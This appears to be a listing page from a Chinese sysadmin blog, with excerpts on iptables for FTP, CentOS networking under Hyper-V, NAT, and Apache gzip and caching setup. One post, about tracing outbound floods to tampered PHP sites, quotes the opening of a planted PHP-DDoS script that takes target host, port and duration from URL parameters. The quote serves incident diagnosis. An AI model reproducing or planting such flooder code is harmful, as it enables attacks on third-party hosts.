记录关于Devops运维,虚拟化容器云计算,数据库,网络安全等各方面问题。
设置iptables之后不能正常访问ftp解决方法    设置了iptables的禁止所有的端口,只容许可能访问了策略后大部分情况下会出现ftp不能正常访问的问题,因为ftp有主动和被动连接两种模式,少添加一些策略就会出问题。    在这里我就相信的说明下解决方法:   首先加载:#modprobe ip_conntrack_ftp #modprobe ip_nat_ftp然后加载策略#iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT #iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT #iptables -I INPUT -p tcp --dport 21 -j ACCEPT    #iptables -I OUTPUT -p tcp --dport 21 -j ACCEPT 如果不想每次都加载模块的话请在  /etc/sysconfig/iptables-config添加保存之后皆可。
CentOS minimal on Hyper-VI’ll quickly take you through the steps required to get the CentOS 6.3 minimal Linux distribution up and running on a Hyper-V host, along with networking and the Linux integration components all enabled.Geoff Kendal is a Windows/Linux systems administrator, scripter and problem solver, with over 12 years experience, based in Leeds, UK.The minimal release of CentOS only appeared with release 6.2 –You get literally the core OS, and nothing else (not even network access, but we’ll fix that!) – You just install what you require afterwards. I think this is a great idea, as it will keep your attack surface area to a minimum, you’re not wasting resources on the Hyper-V node with components you’re not going to use, and it’s much quicker to download (~=330MB) than the full DVD ISOs (~=5.4GB)!First, download the CentOS 6.3 minimal ISO. While we’re at it, grab a copy of the Linux integration components. While they are downloading, head over to your Hyper-V hos...
hyper-v配置centos6.3 不能配置网卡或是不能解析DNS本人在Hyper-v 中配置Centos6.3 时,不是找不到网卡,就是系统只能ping ,不能打开网页。如果配置虚拟机时,选网卡类型全都是:网络适配器。那么安装centos6.3后,系统没有安装网卡的管理程序。导致网卡没法配置,也找不到DNS配置文件。所以安装centos系统时,至少一个网卡类型为: 旧版网络适配器这样安装好Linux 集成安装包3.4后,会有一个网卡配置文件。其它的配置文件,照此复制修改就OK了。网卡都可以正常使用。但是不能打开网页。原因是因为: Run ‘vi /etc/sysconfig/network-scripts/ifcfg-eth0’ at the command prompt, then in vi, press i to go into insert mode, then enter the following:DEVICE=eth0 BOOTPROTO=static ONBOOT=yes IPADDR=192.168.1.16 NETMASK=255.255.255.0 GATEWAY=192.168.1.123Obviously you have to replace the settings with the correct details for your network! To save the file, press Esc, Shift + : , wp, <Enter> We now need to do the same as above for /etc/resolv.conf – add the IP’s of your DNS servers to this file:nameserver 8.8...
Centos6.3 双网卡NAT 上网与映射内网服务器login as: rootroot@60.190.217.197's password: **********Last login: Mon Mar 18 00:11:47 2013 from 116.208.8.234[root@localhost ~]# iptables -LChain INPUT (policy ACCEPT)target     prot opt source               destinationACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHEDACCEPT     icmp --  anywhere             anywhereACCEPT     all  --  anywhere             anywhereACCEPT     tcp  --  anywhere             anywhere ...
Hyper-V安装Centos 6.0网卡无法识别解决用Centos 6.0后,这个方法不再可行了。解决如下: 1. 下载微软虚拟机Linux集成服务 Linux Integration Services v3.1 2. 加载光盘镜像 3. 挂载光盘镜像并安装# mount /dev/cdrom /mnt# cd /mnt/X86# rpm -ivh kmod-microsoft-hyper-v-rhel6-60.1.i686.rpm# rpm -ivm microsoft-hyper-v-rhel6-60.1.i686.rpm 4. 网卡配置# cat /etc/sysconfig/network NETWORKING=yes NETWORKING_IPV6=no # cat /etc/sysconfig/network-scripts/ifcfg-eth0 DEVICE="eth0" HWADDR="00:15:5D:01:FA:1B" NM_CONTROLLED="yes" ONBOOT="yes" BOOTPROTO="static" IPADDR="192.168.1.10" NETMASK="255.255.255.0" GATEWAY="192.168.1.1"
Hyper-V安装Linux没有网卡的解决办法2012-09-18最近在玩win8自带的Hyper-V,安装了RHEL58发现没有网卡,google了下需要安装驱动,类似vmware的vmware tools,最新的下载地址在这:http://www.microsoft.com/en-us/download/details.aspx?id=34603,文件 LinuxICv34.iso 大小不到9M。挂好光驱,运行 RHEL58目录下的INSTALL_RHEL58.SH文件,装好驱动,重启系统。发现还是没有网卡,原来还需要新建一个网卡配置文件:vi /etc/sysconfig/network-scripts/ifcfg-eth0然后录入以下内容:DEVICE=eth0IPADDR=IP地址NETMASK=子网掩码GATEWAY=网关ONBOOT=yes保存文件后,ifup eth0一下就OK了,如果你需要用到dns,还需要再配置下dns!
VMware Workstation 9虚拟机中安装Hyper-V服务器 测试环境宿主机Windows2003 企业版一、为虚拟机中的系统启用虚拟化功能二、修改虚拟机配置文件三、安装Windows Server 2012并启用Hyper-V功能
PHP环境(IIS/apache)对外发包的解决方法 前段时间有一些用户的带宽经常跑满,防火墙查看是在向外发包,决定一查究竟。开始以为是系统中毒,但是查毒之后并没有什么异常。后来发现IIS/apache服务停掉之后,就恢复了。于是开始从web服务方面查找原因,最后确认是PHP网站代码被篡改,植入DDOS攻击代码。在网上搜索到了一段PHP-DDOS代码:<?php   set_time_limit(999999);   $host = $_GET['host'];   $port = $_GET['port'];   $exec_time = $_GET['time'];   $Sendlen = 65535;   $packets = 0;   ignore_user_abort(True);   if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){           if (StrLen($_GET['rat'])<>0){                   echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".G...
apache中开启Gzip和expires,优化页面访问速度 在Apache的配置文件中找到下面两行,将注释#去掉,重启。LoadModule deflate_module modules/mod_deflate.so LoadModule expires_module modules/mod_expires.so在你网站的目录下新建.htaccess,添加如下内容:<IfModule mod_expires.c> ExpiresActive On ExpiresByType image/gif A2592000 ExpiresByType image/jpeg A2592000 ExpiresByType image/png A2592000 ExpiresByType image/x-icon A2592000 ExpiresByType application/x-javascript A604800 ExpiresByType text/css A604800 </IfModule> <IfModule mod_deflate.c> SetOutputFilter DEFLATE AddOutputFilterByType DEFLATE text/html text/css  application/x-javascript </IfModule> 解释一下。ExpiresByType是通过MIME类型来设置具体文件的缓存时间,A表示访问,A后面的数字表示访问后的缓存时间。AddOutputFilterByType表示根据后面的MIME类型来压缩文件,这里对css,html,JavaScript等进行gzip压缩。更多选项请参考apache手册哦。关闭ETag。Etag的问题在于,它是根据可以辨别网站所在的服务器的具有唯一性的属性...
Apache 2.4 版本启用gzip压缩 在apache中启用Gzip压缩会大大降低数据传输量,减少网络响应事件,快速显示页面。系统概况,主机CentOS6.2 Apache2.4 php5.3.6 mysql5.5开始:第一:确认你的Apache 版本2.0以上有deflate 模块,也就是找到http.conf 配置文件查找是否有LoadModule deflate_module modules/mod_deflate.so一般是默认有的,记得要是前面有“#”就去掉使之生效。第二:要是没有这个模块就只能自行安装了,对照版本找到mod_deflate.c 然后进入到此路径下面执行/usr/local/apache2/bin/apxs -i -c -a mod_deflate.c 进行安装(注意这样的方法是针对你的用源码安装的apache 路径大概是/usr/local/apache2.x.x/bin/ )。apxs 命令详细说明请您google下吧!这里就不多说了。第三:找的http.conf 配置文件,一般在两个地方1./etc/http/conf/http.conf 2./usr/local/apache2/conf/http.conf 实在不好找就 shell下执行#find / -name http.conf 切忌修改前一定要备份这是非常好的习惯。第四:编辑htpp.conf 文件 在最后加入下面代码,可以vim + http.conf 这样光标就自动到了http.conf最后一行,复制下面的代码<IfModule mod_deflate.c> DeflateCompressionLeve...
    总共268页,当前第204页 | 页数:
  1. 194
  2. 195
  3. 196
  4. 197
  5. 198
  6. 199
  7. 200
  8. 201
  9. 202
  10. 203
  11. 204
  12. 205
  13. 206
  14. 207
  15. 208
  16. 209
  17. 210
  18. 211
  19. 212
  20. 213
  21. 214